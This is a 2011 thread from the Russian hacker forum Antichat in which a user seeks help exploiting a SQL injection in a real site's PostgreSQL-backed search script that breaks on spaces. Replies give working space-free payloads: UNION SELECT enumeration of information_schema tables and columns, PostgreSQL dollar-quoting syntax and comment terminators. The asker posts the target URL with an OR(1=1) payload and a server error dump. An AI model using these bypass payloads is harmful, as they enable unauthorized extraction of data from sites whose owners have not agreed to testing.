ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Что если SQLскрипт фильтрует побелы, и "+"? (https://forum.antichat.xyz/showthread.php?t=262754)

am319 05.03.2011 10:33

Имею дело с уязвимым поисковым скриптом. Свободно и без ошибок проходят все инъекции без пробелов и "+", например

?q=asd')OR(1=1)OR('sad'='ssd

но стоит в запросе применить пробел, как выдаеца ошибка.

поизучал скрипт, выяснил что это ииза того, что поисковик обрабатывает слова по отдельности, таксказать...чтобы круче искало...

WHERE ((title ILIKE '%asd')%' AND title ILIKE '%or(1=1)or%')

сопсна вопрос: что делать с этой гадостью, дабы была возможность человеческие инъекции проводить, а не "OR(1=1)"??

str71 05.03.2011 11:12

попробуй использовать

Код:

/**/

am319 05.03.2011 11:40

пробовал.... ему походу ваще на комментарии пофигу... только вот это я не знаю как объяснить

Redwood 05.03.2011 11:50

Например так

Код HTML:

(-1)union(select(1),2,3)
Код HTML:

(-1)union(select(table_name),2,(3)from(information_schema.tables))
Ну и далее перебирать нужные таблицы

Код HTML:

(-1)union(select(table_name),2,(3)from(information_schema.tables)where(table_name>'SCHEMA_PRIVILEGES'))

am319 08.03.2011 10:06

чет ваще не канает...но на вопрос ответил, спс.

а вот еще такой момент:

если известно что имею дело с PostgreSQL, то коректна такая связка?

Код HTML:

OR(select(blabla))

krypt3r 09.03.2011 16:59

Для постгреса валидны варианты

Код:

select"column_name"from"information_schema"."columns"where"table_name"=$$clients$$;
select(column_name)from"information_schema"."columns"where(table_name)='clients';

Имя таблицы в скобках СУБД не принимает

am319 12.03.2011 12:43

чет всеравно выдает трехэтажную ошибку...

есть какойнить способ заставить его игнорировать остальную часть скрипта, кроме /* и # ?

krypt3r 13.03.2011 22:08

Ошибку-то покажите. В постгресе игнорирование остальной части запроса с помощью /* не выйдет - СУБД выдаст ошибку, ибо требует закрытия комментария. # тут вообще не поможет. Пробуйте

Код:

--
+--+
;--
;+--+


am319 14.03.2011 13:49

вбиваю к примеру

Код HTML:

http://site.ru/trade/future/?q=asd')OR(1=1)OR('ass'='as
выполняется успешно, выводятся воообще все результаты (ибо 1=1 везде)

вместо 1=1 подставляю, к примеру select'1'

на что мне отвечают

Код HTML:

ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php  (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php  (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61
пробовал тут все что умею, но походу недостаточно знаю постгрес

krypt3r 14.03.2011 14:35

Так?

Код:

http://site.ru/trade/future/?q=asd')OR(select'1')...
Правильно пишет - ошибка синтаксиса: не может преобразовать результат подзапроса в булевское значение


Время: 05:25